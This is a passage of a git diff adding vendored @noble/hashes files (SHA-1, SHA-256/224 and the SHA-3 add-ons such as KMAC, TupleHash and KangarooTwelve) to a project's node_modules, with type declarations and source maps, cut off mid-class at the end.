AAC,CAAC,EAAE,SAAS,EAAE,GAAG,EAAE;YACjC,kDAAkD;YAClD,MAAM,CAAC,GAAG,GAAG,CAAC,EAAE,GAAG,WAAW,GAAG,EAAE,CAAC,GAAG,CAAC,CAAC,CAAC,gCAAgC;YAC1E,KAAK,IAAI,CAAC,GAAG,CAAC,EAAE,CAAC,GAAG,WAAW,EAAE,CAAC,EAAE;gBAAE,GAAG,CAAC,CAAC,CAAC,GAAG,GAAG,CAAC,EAAE,GAAG,CAAC,CAAC,GAAG,CAAC,CAAC,CAAC,GAAG,WAAW,GAAG,CAAC,CAAC,CAAC,CAAC,iBAAiB;YACtG,QAAQ,CAAC,GAAG,EAAE,CAAC,EAAE,GAAG,EAAE,EAAE,EAAE,CAAC,CAAC,CAAC,CAAC,yBAAyB;YACvD,UAAU,EAAE,CAAC;QACf,CAAC,CAAC,CAAC;KACJ;IACD,OAAO,YAAY,CAAC,QAAQ,EAAE,KAAK,EAAE,CAAC,EAAE,CAAC,EAAE,GAAG,CAAC,CAAC;AAClD,CAAC;AAzBD,kCAyBC"} \ No newline at end of file diff --git a/node_modules/@noble/hashes/sha1.d.ts b/node_modules/@noble/hashes/sha1.d.ts new file mode 100644 index 000000000000..d9cb132e44f0 --- /dev/null +++ b/node_modules/@noble/hashes/sha1.d.ts @@ -0,0 +1,21 @@ +import { SHA2 } from './_sha2.js'; +declare class SHA1 extends SHA2 { + private A; + private B; + private C; + private D; + private E; + constructor(); + protected get(): [number, number, number, number, number]; + protected set(A: number, B: number, C: number, D: number, E: number): void; + protected process(view: DataView, offset: number): void; + protected roundClean(): void; + destroy(): void; +} +export declare const sha1: { + (msg: import("./utils.js").Input): Uint8Array; + outputLen: number; + blockLen: number; + create(): import("./utils.js").Hash; +}; +export {}; diff --git a/node_modules/@noble/hashes/sha1.js b/node_modules/@noble/hashes/sha1.js new file mode 100644 index 000000000000..10c695310750 --- /dev/null +++ b/node_modules/@noble/hashes/sha1.js @@ -0,0 +1,90 @@ +"use strict"; +Object.defineProperty(exports, "__esModule", { value: true }); +exports.sha1 = void 0; +const _sha2_js_1 = require("./_sha2.js"); +const utils_js_1 = require("./utils.js"); +// SHA1 was cryptographically broken. +// It is still widely used in legacy apps. Don't use it for a new protocol. +// RFC 3174 +const rotl = (word, shift) => (word << shift) | ((word >>> (32 - shift)) >>> 0); +// Choice: a ? b : c +const Chi = (a, b, c) => (a & b) ^ (~a & c); +// Majority function, true if any two inpust is true +const Maj = (a, b, c) => (a & b) ^ (a & c) ^ (b & c); +// Initial state +const IV = /* @__PURE__ */ new Uint32Array([ + 0x67452301, 0xefcdab89, 0x98badcfe, 0x10325476, 0xc3d2e1f0, +]); +// Temporary buffer, not used to store anything between runs +// Named this way because it matches specification. +const SHA1_W = /* @__PURE__ */ new Uint32Array(80); +class SHA1 extends _sha2_js_1.SHA2 { + constructor() { + super(64, 20, 8, false); + this.A = IV[0] | 0; + this.B = IV[1] | 0; + this.C = IV[2] | 0; + this.D = IV[3] | 0; + this.E = IV[4] | 0; + } + get() { + const { A, B, C, D, E } = this; + return [A, B, C, D, E]; + } + set(A, B, C, D, E) { + this.A = A | 0; + this.B = B | 0; + this.C = C | 0; + this.D = D | 0; + this.E = E | 0; + } + process(view, offset) { + for (let i = 0; i < 16; i++, offset += 4) + SHA1_W[i] = view.getUint32(offset, false); + for (let i = 16; i < 80; i++) + SHA1_W[i] = rotl(SHA1_W[i - 3] ^ SHA1_W[i - 8] ^ SHA1_W[i - 14] ^ SHA1_W[i - 16], 1); + // Compression function main loop, 80 rounds + let { A, B, C, D, E } = this; + for (let i = 0; i < 80; i++) { + let F, K; + if (i < 20) { + F = Chi(B, C, D); + K = 0x5a827999; + } + else if (i < 40) { + F = B ^ C ^ D; + K = 0x6ed9eba1; + } + else if (i < 60) { + F = Maj(B, C, D); + K = 0x8f1bbcdc; + } + else { + F = B ^ C ^ D; + K = 0xca62c1d6; + } + const T = (rotl(A, 5) + F + E + K + SHA1_W[i]) | 0; + E = D; + D = C; + C = rotl(B, 30); + B = A; + A = T; + } + // Add the compressed chunk to the current hash value + A = (A + this.A) | 0; + B = (B + this.B) | 0; + C = (C + this.C) | 0; + D = (D + this.D) | 0; + E = (E + this.E) | 0; + this.set(A, B, C, D, E); + } + roundClean() { + SHA1_W.fill(0); + } + destroy() { + this.set(0, 0, 0, 0, 0); + this.buffer.fill(0); + } +} +exports.sha1 = (0, utils_js_1.wrapConstructor)(() => new SHA1()); +//# sourceMappingURL=sha1.js.map \ No newline at end of file diff --git a/node_modules/@noble/hashes/sha1.js.map b/node_modules/@noble/hashes/sha1.js.map new file mode 100644 index 000000000000..4b0ccbdf184a --- /dev/null +++ b/node_modules/@noble/hashes/sha1.js.map @@ -0,0 +1 @@ +{"version":3,"file":"sha1.js","sourceRoot":"","sources":["src/sha1.ts"],"names":[],"mappings":";;;AAAA,yCAAkC;AAClC,yCAA6C;AAE7C,qCAAqC;AACrC,2EAA2E;AAE3E,WAAW;AACX,MAAM,IAAI,GAAG,CAAC,IAAY,EAAE,KAAa,EAAE,EAAE,CAAC,CAAC,IAAI,IAAI,KAAK,CAAC,GAAG,CAAC,CAAC,IAAI,KAAK,CAAC,EAAE,GAAG,KAAK,CAAC,CAAC,KAAK,CAAC,CAAC,CAAC;AAChG,oBAAoB;AACpB,MAAM,GAAG,GAAG,CAAC,CAAS,EAAE,CAAS,EAAE,CAAS,EAAE,EA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C,CAAC,CAAC,CAAC;IACjB,CAAC;IACD,OAAO;QACL,IAAI,CAAC,GAAG,CAAC,CAAC,EAAE,CAAC,EAAE,CAAC,EAAE,CAAC,EAAE,CAAC,CAAC,CAAC;QACxB,IAAI,CAAC,MAAM,CAAC,IAAI,CAAC,CAAC,CAAC,CAAC;IACtB,CAAC;CACF;AAEY,QAAA,IAAI,GAAmB,IAAA,0BAAe,EAAC,GAAG,EAAE,CAAC,IAAI,IAAI,EAAE,CAAC,CAAC"} \ No newline at end of file diff --git a/node_modules/@noble/hashes/sha256.d.ts b/node_modules/@noble/hashes/sha256.d.ts new file mode 100644 index 000000000000..3e1491d2a886 --- /dev/null +++ b/node_modules/@noble/hashes/sha256.d.ts @@ -0,0 +1,34 @@ +import { SHA2 } from './_sha2.js'; +declare class SHA256 extends SHA2 { + A: number; + B: number; + C: number; + D: number; + E: number; + F: number; + G: number; + H: number; + constructor(); + protected get(): [number, number, number, number, number, number, number, number]; + protected set(A: number, B: number, C: number, D: number, E: number, F: number, G: number, H: number): void; + protected process(view: DataView, offset: number): void; + protected roundClean(): void; + destroy(): void; +} +/** + * SHA2-256 hash function + * @param message - data that would be hashed + */ +export declare const sha256: { + (msg: import("./utils.js").Input): Uint8Array; + outputLen: number; + blockLen: number; + create(): import("./utils.js").Hash; +}; +export declare const sha224: { + (msg: import("./utils.js").Input): Uint8Array; + outputLen: number; + blockLen: number; + create(): import("./utils.js").Hash; +}; +export {}; diff --git a/node_modules/@noble/hashes/sha256.js b/node_modules/@noble/hashes/sha256.js new file mode 100644 index 000000000000..24fe5743546d --- /dev/null +++ b/node_modules/@noble/hashes/sha256.js @@ -0,0 +1,129 @@ +"use strict"; +Object.defineProperty(exports, "__esModule", { value: true }); +exports.sha224 = exports.sha256 = void 0; +const _sha2_js_1 = require("./_sha2.js"); +const utils_js_1 = require("./utils.js"); +// SHA2-256 need to try 2^128 hashes to execute birthday attack. +// BTC network is doing 2^67 hashes/sec as per early 2023. +// Choice: a ? b : c +const Chi = (a, b, c) => (a & b) ^ (~a & c); +// Majority function, true if any two inpust is true +const Maj = (a, b, c) => (a & b) ^ (a & c) ^ (b & c); +// Round constants: +// first 32 bits of the fractional parts of the cube roots of the first 64 primes 2..311) +// prettier-ignore +const SHA256_K = /* @__PURE__ */ new Uint32Array([ + 0x428a2f98, 0x71374491, 0xb5c0fbcf, 0xe9b5dba5, 0x3956c25b, 0x59f111f1, 0x923f82a4, 0xab1c5ed5, + 0xd807aa98, 0x12835b01, 0x243185be, 0x550c7dc3, 0x72be5d74, 0x80deb1fe, 0x9bdc06a7, 0xc19bf174, + 0xe49b69c1, 0xefbe4786, 0x0fc19dc6, 0x240ca1cc, 0x2de92c6f, 0x4a7484aa, 0x5cb0a9dc, 0x76f988da, + 0x983e5152, 0xa831c66d, 0xb00327c8, 0xbf597fc7, 0xc6e00bf3, 0xd5a79147, 0x06ca6351, 0x14292967, + 0x27b70a85, 0x2e1b2138, 0x4d2c6dfc, 0x53380d13, 0x650a7354, 0x766a0abb, 0x81c2c92e, 0x92722c85, + 0xa2bfe8a1, 0xa81a664b, 0xc24b8b70, 0xc76c51a3, 0xd192e819, 0xd6990624, 0xf40e3585, 0x106aa070, + 0x19a4c116, 0x1e376c08, 0x2748774c, 0x34b0bcb5, 0x391c0cb3, 0x4ed8aa4a, 0x5b9cca4f, 0x682e6ff3, + 0x748f82ee, 0x78a5636f, 0x84c87814, 0x8cc70208, 0x90befffa, 0xa4506ceb, 0xbef9a3f7, 0xc67178f2 +]); +// Initial state (first 32 bits of the fractional parts of the square roots of the first 8 primes 2..19): +// prettier-ignore +const IV = /* @__PURE__ */ new Uint32Array([ + 0x6a09e667, 0xbb67ae85, 0x3c6ef372, 0xa54ff53a, 0x510e527f, 0x9b05688c, 0x1f83d9ab, 0x5be0cd19 +]); +// Temporary buffer, not used to store anything between runs +// Named this way because it matches specification. +const SHA256_W = /* @__PURE__ */ new Uint32Array(64); +class SHA256 extends _sha2_js_1.SHA2 { + constructor() { + super(64, 32, 8, false); + // We cannot use array here since array allows indexing by variable + // which means optimizer/compiler cannot use registers. + this.A = IV[0] | 0; + this.B = IV[1] | 0; + this.C = IV[2] | 0; + this.D = IV[3] | 0; + this.E = IV[4] | 0; + this.F = IV[5] | 0; + this.G = IV[6] | 0; + this.H = IV[7] | 0; + } + get() { + const { A, B, C, D, E, F, G, H } = this; + return [A, B, C, D, E, F, G, H]; + } + // prettier-ignore + set(A, B, C, D, E, F, G, H) { + this.A = A | 0; + this.B = B | 0; + this.C = C | 0; + this.D = D | 0; + this.E = E | 0; + this.F = F | 0; + this.G = G | 0; + this.H = H | 0; + } + process(view, offset) { + // Extend the first 16 words into the remaining 48 words w[16..63] of the message schedule array + for (let i = 0; i < 16; i++, offset += 4) + SHA256_W[i] = view.getUint32(offset, false); + for (let i = 16; i < 64; i++) { + const W15 = SHA256_W[i - 15]; + const W2 = SHA256_W[i - 2]; + const s0 = (0, utils_js_1.rotr)(W15, 7) ^ (0, utils_js_1.rotr)(W15, 18) ^ (W15 >>> 3); + const s1 = (0, utils_js_1.rotr)(W2, 17) ^ (0, utils_js_1.rotr)(W2, 19) ^ (W2 >>> 10); + SHA256_W[i] = (s1 + SHA256_W[i - 7] + s0 + SHA256_W[i - 16]) | 0; + } + // Compression function main loop, 64 rounds + let { A, B, C, D, E, F, G, H } = this; + for (let i = 0; i < 64; i++) { + const sigma1 = (0, utils_js_1.rotr)(E, 6) ^ (0, utils_js_1.rotr)(E, 11) ^ (0, utils_js_1.rotr)(E, 25); + const T1 = (H + sigma1 + Chi(E, F, G) + SHA256_K[i] + SHA256_W[i]) | 0; + const sigma0 = (0, utils_js_1.rotr)(A, 2) ^ (0, utils_js_1.rotr)(A, 13) ^ (0, utils_js_1.rotr)(A, 22); + const T2 = (sigma0 + Maj(A, B, C)) | 0; + H = G; + G = F; + F = E; + E = (D + T1) | 0; + D = C; + C = B; + B = A; + A = (T1 + T2) | 0; + } + // Add the compressed chunk to the current hash value + A = (A + this.A) | 0; + B = (B + this.B) | 0; + C = (C + this.C) | 0; + D = (D + this.D) | 0; + E = (E + this.E) | 0; + F = (F + this.F) | 0; + G = (G + this.G) | 0; + H = (H + this.H) | 0; + this.set(A, B, C, D, E, F, G, H); + } + roundClean() { + SHA256_W.fill(0); + } + destroy() { + this.set(0, 0, 0, 0, 0, 0, 0, 0); + this.buffer.fill(0); + } +} +// Constants from https://nvlpubs.nist.gov/nistpubs/FIPS/NIST.FIPS.180-4.pdf +class SHA224 extends SHA256 { + constructor() { + super(); + this.A = 0xc1059ed8 | 0; + this.B = 0x367cd507 | 0; + this.C = 0x3070dd17 | 0; + this.D = 0xf70e5939 | 0; + this.E = 0xffc00b31 | 0; + this.F = 0x68581511 | 0; + this.G = 0x64f98fa7 | 0; + this.H = 0xbefa4fa4 | 0; + this.outputLen = 28; + } +} +/** + * SHA2-256 hash function + * @param message - data that would be hashed + */ +exports.sha256 = (0, utils_js_1.wrapConstructor)(() => new SHA256()); +exports.sha224 = (0, utils_js_1.wrapConstructor)(() => new SHA224()); +//# sourceMappingURL=sha256.js.map \ No newline at end of file diff --git a/node_modules/@noble/hashes/sha256.js.map b/node_modules/@noble/hashes/sha256.js.map new file mode 100644 index 000000000000..a2fd853f7c94 --- /dev/null +++ b/node_modules/@noble/hashes/sha256.js.map @@ -0,0 +1 @@ +{"version":3,"file":"sha256.js","sourceRoot":"","sources":["src/sha256.ts"],"names":[],"mappings":";;;AAAA,yCAAkC;AAClC,yCAAmD;AAEnD,gEAAgE;AAChE,0DAA0D;AAE1D,oBAAoB;AACpB,MAAM,GAAG,GAAG,CAAC,CAAS,EAAE,CAAS,EAAE,CAAS,EAAE,EAAE,CAAC,CAAC,CAAC,GAAG,CAAC,CAAC,GAAG,CAAC,CAAC,CAAC,GAAG,CAAC,CAAC,CAAC;AACpE,oDAAoD;AACpD,MAAM,GAAG,GAAG,CAAC,CAAS,EAAE,CAAS,EAAE,CAAS,EAAE,EAAE,CAAC,CAAC,CAAC,GAAG,CAAC,CAAC,GAAG,CAAC,CAA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AAG,CAAC,CAAC;QACnB,MAAC,GAAG,UAAU,GAAG,CAAC,CAAC;QACnB,MAAC,GAAG,UAAU,GAAG,CAAC,CAAC;QACnB,MAAC,GAAG,UAAU,GAAG,CAAC,CAAC;QACnB,MAAC,GAAG,UAAU,GAAG,CAAC,CAAC;QAGjB,IAAI,CAAC,SAAS,GAAG,EAAE,CAAC;IACtB,CAAC;CACF;AAED;;;GAGG;AACU,QAAA,MAAM,GAAmB,IAAA,0BAAe,EAAC,GAAG,EAAE,CAAC,IAAI,MAAM,EAAE,CAAC,CAAC;AAC7D,QAAA,MAAM,GAAmB,IAAA,0BAAe,EAAC,GAAG,EAAE,CAAC,IAAI,MAAM,EAAE,CAAC,CAAC"} \ No newline at end of file diff --git a/node_modules/@noble/hashes/sha3-addons.d.ts b/node_modules/@noble/hashes/sha3-addons.d.ts new file mode 100644 index 000000000000..cf7c3a0d99aa --- /dev/null +++ b/node_modules/@noble/hashes/sha3-addons.d.ts @@ -0,0 +1,138 @@ +import { Input, Hash, HashXOF } from './utils.js'; +import { Keccak, ShakeOpts } from './sha3.js'; +export type cShakeOpts = ShakeOpts & { + personalization?: Input; + NISTfn?: Input; +}; +export declare const cshake128: { + (msg: Input, opts?: cShakeOpts | undefined): Uint8Array; + outputLen: number; + blockLen: number; + create(opts: cShakeOpts): Hash; +}; +export declare const cshake256: { + (msg: Input, opts?: cShakeOpts | undefined): Uint8Array; + outputLen: number; + blockLen: number; + create(opts: cShakeOpts): Hash; +}; +declare class KMAC extends Keccak implements HashXOF { + constructor(blockLen: number, outputLen: number, enableXOF: boolean, key: Input, opts?: cShakeOpts); + protected finish(): void; + _cloneInto(to?: KMAC): KMAC; + clone(): KMAC; +} +export declare const kmac128: { + (key: Input, message: Input, opts?: cShakeOpts): Uint8Array; + create(key: Input, opts?: cShakeOpts): KMAC; +}; +export declare const kmac256: { + (key: Input, message: Input, opts?: cShakeOpts): Uint8Array; + create(key: Input, opts?: cShakeOpts): KMAC; +}; +export declare const kmac128xof: { + (key: Input, message: Input, opts?: cShakeOpts): Uint8Array; + create(key: Input, opts?: cShakeOpts): KMAC; +}; +export declare const kmac256xof: { + (key: Input, message: Input, opts?: cShakeOpts): Uint8Array; + create(key: Input, opts?: cShakeOpts): KMAC; +}; +declare class TupleHash extends Keccak implements HashXOF { + constructor(blockLen: number, outputLen: number, enableXOF: boolean, opts?: cShakeOpts); + protected finish(): void; + _cloneInto(to?: TupleHash): TupleHash; + clone(): TupleHash; +} +export declare const tuplehash128: { + (messages: Input[], opts?: cShakeOpts): Uint8Array; + create(opts?: cShakeOpts): TupleHash; +}; +export declare const tuplehash256: { + (messages: Input[], opts?: cShakeOpts): Uint8Array; + create(opts?: cShakeOpts): TupleHash; +}; +export declare const tuplehash128xof: { + (messages: Input[], opts?: cShakeOpts): Uint8Array; + create(opts?: cShakeOpts): TupleHash; +}; +export declare const tuplehash256xof: { + (messages: Input[], opts?: cShakeOpts): Uint8Array; + create(opts?: cShakeOpts): TupleHash; +}; +type ParallelOpts = cShakeOpts & { + blockLen?: number; +}; +declare class ParallelHash extends Keccak implements HashXOF { + protected leafCons: () => Hash; + private leafHash?; + private chunkPos; + private chunksDone; + private chunkLen; + constructor(blockLen: number, outputLen: number, leafCons: () => Hash, enableXOF: boolean, opts?: ParallelOpts); + protected finish(): void; + _cloneInto(to?: ParallelHash): ParallelHash; + destroy(): void; + clone(): ParallelHash; +} +export declare const parallelhash128: { + (message: Input, opts?: ParallelOpts): Uint8Array; + create(opts?: ParallelOpts): ParallelHash; +}; +export declare const parallelhash256: { + (message: Input, opts?: ParallelOpts): Uint8Array; + create(opts?: ParallelOpts): ParallelHash; +}; +export declare const parallelhash128xof: { + (message: Input, opts?: ParallelOpts): Uint8Array; + create(opts?: ParallelOpts): ParallelHash; +}; +export declare const parallelhash256xof: { + (message: Input, opts?: ParallelOpts): Uint8Array; + create(opts?: ParallelOpts): ParallelHash; +}; +export type KangarooOpts = { + dkLen?: number; + personalization?: Input; +}; +declare class KangarooTwelve extends Keccak implements HashXOF { + protected leafLen: number; + readonly chunkLen = 8192; + private leafHash?; + private personalization; + private chunkPos; + private chunksDone; + constructor(blockLen: number, leafLen: number, outputLen: number, rounds: number, opts: KangarooOpts); + update(data: Input): this; + protected finish(): void; + destroy(): void; + _cloneInto(to?: KangarooTwelve): KangarooTwelve; + clone(): KangarooTwelve; +} +export declare const k12: { + (msg: Input, opts?: KangarooOpts | undefined): Uint8Array; + outputLen: number; + blockLen: number; + create(opts: KangarooOpts): Hash; +}; +export declare const m14: { + (msg: Input, opts?: KangarooOpts | undefined): Uint8Array; + outputLen: number; + blockLen: number; + create(opts: KangarooOpts): Hash; +}; +declare class KeccakPRG extends Keccak { + protected rate: number; + constructor(capacity: number); + keccak(): void; + update(data: Input): this; + feed(data: Input): this; + protected finish(): void; + digestInto(_out: Uint8Array): Uint8Array; + fetch(bytes: number): Uint8Array; + forget(): void; + _cloneInto(to?: KeccakPRG): KeccakPRG; + clone(): KeccakPRG; +} +export declare const keccakprg: (capacity?: number) => KeccakPRG; +export {}; diff --git a/node_modules/@noble/hashes/sha3-addons.js b/node_modules/@noble/hashes/sha3-addons.js new file mode 100644 index 000000000000..e5317b15f6c6 --- /dev/null +++ b/node_modules/@noble/hashes/sha3-addons.js @@ -0,0 +1,351 @@ +"use strict"; +Object.defineProperty(exports, "__esModule", { value: true }); +exports.keccakprg = exports.m14 = exports.k12 = exports.parallelhash256xof = exports.parallelhash128xof = exports.parallelhash256 = exports.parallelhash128 = exports.tuplehash256xof = exports.tuplehash128xof = exports.tuplehash256 = exports.tuplehash128 = exports.kmac256xof = exports.kmac128xof = exports.kmac256 = exports.kmac128 = exports.cshake256 = exports.cshake128 = void 0; +const _assert_js_1 = require("./_assert.js"); +const utils_js_1 = require("./utils.js"); +const sha3_js_1 = require("./sha3.js"); +// cSHAKE && KMAC (NIST SP800-185) +function leftEncode(n) { + const res = [n & 0xff]; + n >>= 8; + for (; n > 0; n >>= 8) + res.unshift(n & 0xff); + res.unshift(res.length); + return new Uint8Array(res); +} +function rightEncode(n) { + const res = [n & 0xff]; + n >>= 8; + for (; n > 0; n >>= 8) + res.unshift(n & 0xff); + res.push(res.length); + return new Uint8Array(res); +} +function chooseLen(opts, outputLen) { + return opts.dkLen === undefined ? outputLen : opts.dkLen; +} +const toBytesOptional = (buf) => (buf !== undefined ? (0, utils_js_1.toBytes)(buf) : new Uint8Array([])); +// NOTE: second modulo is necessary since we don't need to add padding if current element takes whole block +const getPadding = (len, block) => new Uint8Array((block - (len % block)) % block); +// Personalization +function cshakePers(hash, opts = {}) { + if (!opts || (!opts.personalization && !opts.NISTfn)) + return hash; + // Encode and pad inplace to avoid unneccesary memory copies/slices (so we don't need to zero them later) + // bytepad(encode_string(N) || encode_string(S), 168) + const blockLenBytes = leftEncode(hash.blockLen); + const fn = toBytesOptional(opts.NISTfn); + const fnLen = leftEncode(8 * fn.length); // length in bits + const pers = toBytesOptional(opts.personalization); + const persLen = leftEncode(8 * pers.length); // length in bits + if (!fn.length && !pers.length) + return hash; + hash.suffix = 0x04; + hash.update(blockLenBytes).update(fnLen).update(fn).update(persLen).update(pers); + let totalLen = blockLenBytes.length + fnLen.length + fn.length + persLen.length + pers.length; + hash.update(getPadding(totalLen, hash.blockLen)); + return hash; +} +const gencShake = (suffix, blockLen, outputLen) => (0, utils_js_1.wrapConstructorWithOpts)((opts = {}) => cshakePers(new sha3_js_1.Keccak(blockLen, suffix, chooseLen(opts, outputLen), true), opts)); +exports.cshake128 = (() => gencShake(0x1f, 168, 128 / 8))(); +exports.cshake256 = (() => gencShake(0x1f, 136, 256 / 8))(); +class KMAC extends sha3_js_1.Keccak { + constructor(blockLen, outputLen, enableXOF, key, opts = {}) { + super(blockLen, 0x1f, outputLen, enableXOF); + cshakePers(this, { NISTfn: 'KMAC', personalization: opts.personalization }); + key = (0, utils_js_1.toBytes)(key); + // 1. newX = bytepad(encode_string(K), 168) || X || right_encode(L). + const blockLenBytes = leftEncode(this.blockLen); + const keyLen = leftEncode(8 * key.length); + this.update(blockLenBytes).update(keyLen).update(key); + const totalLen = blockLenBytes.length + keyLen.length + key.length; + this.update(getPadding(totalLen, this.blockLen)); + } + finish() { + if (!this.finished) + this.update(rightEncode(this.enableXOF ? 0 : this.outputLen * 8)); // outputLen in bits + super.finish(); + } + _cloneInto(to) { + // Create new instance without calling constructor since key already in state and we don't know it. + // Force "to" to be instance of KMAC instead of Sha3. + if (!to) { + to = Object.create(Object.getPrototypeOf(this), {}); + to.state = this.state.slice(); + to.blockLen = this.blockLen; + to.state32 = (0, utils_js_1.u32)(to.state); + } + return super._cloneInto(to); + } + clone() { + return this._cloneInto(); + } +} +function genKmac(blockLen, outputLen, xof = false) { + const kmac = (key, message, opts) => kmac.create(key, opts).update(message).digest(); + kmac.create = (key, opts = {}) => new KMAC(blockLen, chooseLen(opts, outputLen), xof, key, opts); + return kmac; +} +exports.kmac128 = (() => genKmac(168, 128 / 8))(); +exports.kmac256 = (() => genKmac(136, 256 / 8))(); +exports.kmac128xof = (() => genKmac(168, 128 / 8, true))(); +exports.kmac256xof = (() => genKmac(136, 256 / 8, true))(); +// TupleHash +// Usage: tuple(['ab', 'cd']) != tuple(['a', 'bcd']) +class TupleHash extends sha3_js_1.Keccak { + constructor(blockLen, outputLen, enableXOF, opts = {}) { + super(blockLen, 0x1f, outputLen, enableXOF); + cshakePers(this, { NISTfn: 'TupleHash', personalization: opts.personalization }); + // Change update after cshake processed + this.update = (data) => { + data = (0, utils_js_1.toBytes)(data); + super.update(leftEncode(data.length * 8)); + super.update(data); + return this; + }; + } + finish() { + if (!this.finished) + super.update(rightEncode(this.enableXOF ? 0 : this.outputLen * 8)); // outputLen in bits + super.finish(); + } + _cloneInto(to) { + to || (to = new TupleHash(this.blockLen, this.outputLen, this.enableXOF)); + return super._cloneInto(to); + } + clone() { + return this._cloneInto(); + } +} +function genTuple(blockLen, outputLen, xof = false) { + const tuple = (messages, opts) => { + const h = tuple.create(opts); + for (const msg of messages) + h.update(msg); + return h.digest(); + }; + tuple.create = (opts = {}) => new TupleHash(blockLen, chooseLen(opts, outputLen), xof, opts); + return tuple; +} +exports.tuplehash128 = (() => genTuple(168, 128 / 8))(); +exports.tuplehash256 = (() => genTuple(136, 256 / 8))(); +exports.tuplehash128xof = (() => genTuple(168, 128 / 8, true))(); +exports.tuplehash256xof = (() => genTuple(136, 256 / 8, true))(); +class ParallelHash extends sha3_js_1.Keccak { + constructor(blockLen, outputLen, leafCons, enableXOF, opts = {}) { + super(blockLen, 0x1f, outputLen, enableXOF); + this.leafCons = leafCons; + this.chunkPos = 0; // Position of current block in chunk + this.chunksDone = 0; // How many chunks we already have + cshakePers(this, { NISTfn: 'ParallelHash', personalization: opts.personalization }); + let { blockLen: B } = opts; + B || (B = 8); + (0, _assert_js_1.number)(B); + this.chunkLen = B; + super.update(leftEncode(B)); + // Change update after cshake processed + this.update = (data) => { + data = (0, utils_js_1.toBytes)(data); + const { chunkLen, leafCons } = this; + for (let pos = 0, len = data.length; pos < len;) { + if (this.chunkPos == chunkLen || !this.leafHash) { + if (this.leafHash) { + super.update(this.leafHash.digest()); + this.chunksDone++; + } + this.leafHash = leafCons(); + this.chunkPos = 0; + } + const take = Math.min(chunkLen - this.chunkPos, len - pos); + this.leafHash.update(data.subarray(pos, pos + take)); + this.chunkPos += take; + pos += take; + } + return this; + }; + } + finish() { + if (this.finished) + return; + if (this.leafHash) { + super.update(this.leafHash.digest()); + this.chunksDone++; + } + super.update(rightEncode(this.chunksDone)); + super.update(rightEncode(this.enableXOF ? 0 : this.outputLen * 8)); // outputLen in bits + super.finish(); + } + _cloneInto(to) { + to || (to = new ParallelHash(this.blockLen, this.outputLen, this.leafCons, this.enableXOF)); + if (this.leafHash) + to.leafHash = this.leafHash._cloneInto(to.leafHash); + to.chunkPos = this.chunkPos; + to.chunkLen = this.chunkLen; + to.chunksDone = this.chunksDone; + return super._cloneInto(to); + } + destroy() { + super.destroy.call(this); + if (this.leafHash) + this.leafHash.destroy(); + } + clone() { + return this._cloneInto(); + } +} +function genPrl(blockLen, outputLen, leaf, xof = false) { + const parallel = (message, opts) => parallel.create(opts).update(message).digest(); + parallel.create = (opts = {}) => new ParallelHash(blockLen, chooseLen(opts, outputLen), () => leaf.create({ dkLen: 2 * outputLen }), xof, opts); + return parallel; +} +exports.parallelhash128 = (() => genPrl(168, 128 / 8, exports.cshake128))(); +exports.parallelhash256 = (() => genPrl(136, 256 / 8, exports.cshake256))(); +exports.parallelhash128xof = (() => genPrl(168, 128 / 8, exports.cshake128, true))(); +exports.parallelhash256xof = (() => genPrl(136, 256 / 8, exports.cshake256, true))(); +// Kangaroo +// Same as NIST rightEncode, but returns [0] for zero string +function rightEncodeK12(n) { + const res = []; + for (; n > 0; n >>= 8) + res.unshift(n & 0xff); + res.push(res.length); + return new Uint8Array(res); +} +const EMPTY = new Uint8Array([]); +class KangarooTwelve extends sha3_js_1.Keccak { + constructor(blockLen, leafLen, outputLen, rounds, opts) { + super(blockLen, 0x07, outputLen, true, rounds); + this.leafLen = leafLen; + this.chunkLen = 8192; + this.chunkPos = 0; // Position of current block in chunk + this.chunksDone = 0; // How many chunks we already have + const { personalization } = opts; + this.personalization = toBytesOptional(personalization); + } + update(data) { + data = (0, utils_js_1.toBytes)(data); + const { chunkLen, blockLen, leafLen, rounds } = this; + for (let pos = 0, len = data.length; pos < len;) { + if (this.chunkPos == chunkLen) { + if (this.leafHash) + super.update(this.leafHash.digest()); + else { + this.suffix = 0x06; // Its safe to change suffix here since its used only in digest() + super.update(new Uint8Array([3, 0, 0, 0, 0, 0, 0, 0])); + } + this.leafHash = new sha3_js_1.Keccak(blockLen, 0x0b, leafLen, false, rounds); + this.chunksDone++; + this.chunkPos = 0; + } + const take = Math.min(chunkLen - this.chunkPos, len - pos); + const chunk = data.subarray(pos, pos + take); + if (this.leafHash) + this.leafHash.update(chunk); + else + super.update(chunk); + this.chunkPos += take; + pos += take; + } + return this; + } + finish() { + if (this.finished) + return; + const { personalization } = this; + this.update(personalization).update(rightEncodeK12(personalization.length)); + // Leaf hash + if (this.leafHash) { + super.update(this.leafHash.digest()); + super.update(rightEncodeK12(this.chunksDone)); + super.update(new Uint8Array([0xff, 0xff])); + } + super.finish.call(this); + } + destroy() { + super.destroy.call(this); + if (this.leafHash) + this.leafHash.destroy(); + // We cannot zero personalization buffer since it is user provided and we don't want to mutate user input + this.personalization = EMPTY; + } + _cloneInto(to) { + const { blockLen, leafLen, leafHash, outputLen, rounds } = this; + to || (to = new KangarooTwelve(blockLen, leafLen, outputLen, rounds, {})); + super._cloneInto(to); + if (leafHash) + to.leafHash = leafHash._cloneInto(to.leafHash); + to.personalization.set(this.personalization); + to.leafLen = this.leafLen; + to.chunkPos = this.chunkPos; + to.chunksDone = this.chunksDone; + return to; + } + clone() { + return this._cloneInto(); + } +} +// Default to 32 bytes, so it can be used without opts +exports.k12 = (() => (0, utils_js_1.wrapConstructorWithOpts)((opts = {}) => new KangarooTwelve(168, 32, chooseLen(opts, 32), 12, opts)))(); +// MarsupilamiFourteen +exports.m14 = (() => (0, utils_js_1.wrapConstructorWithOpts)((opts = {}) => new KangarooTwelve(136, 64, chooseLen(opts, 64), 14, opts)))(); +// https://keccak.team/files/CSF-0.1.pdf +// + https://github.com/XKCP/XKCP/tree/master/lib/high/Keccak/PRG +class KeccakPRG extends sha3_js_1.Keccak { + constructor(capacity) { + (0, _assert_js_1.number)(capacity); + // Rho should be full bytes + if (capacity < 0 || capacity > 1600 - 10 || (1600 - capacity - 2) % 8) + throw new Error('KeccakPRG: Invalid capacity'); + // blockLen = rho in bytes + super((1600 - capacity - 2) / 8, 0, 0, true); + this.rate = 1600 - capacity; + this.posOut = Math.floor((this.rate + 7) / 8); + } + keccak() { + // Duplex padding + this.state[this.pos] ^= 0x01; + this.state[this.blockLen] ^= 0x02; // Rho is full bytes + super.keccak(); + this.pos = 0; + this.posOut = 0; + } + update(data) { + super.update(data); + this.posOut = this.blockLen; + return this; + } + feed(data) { + return this.update(data); + } + finish() { 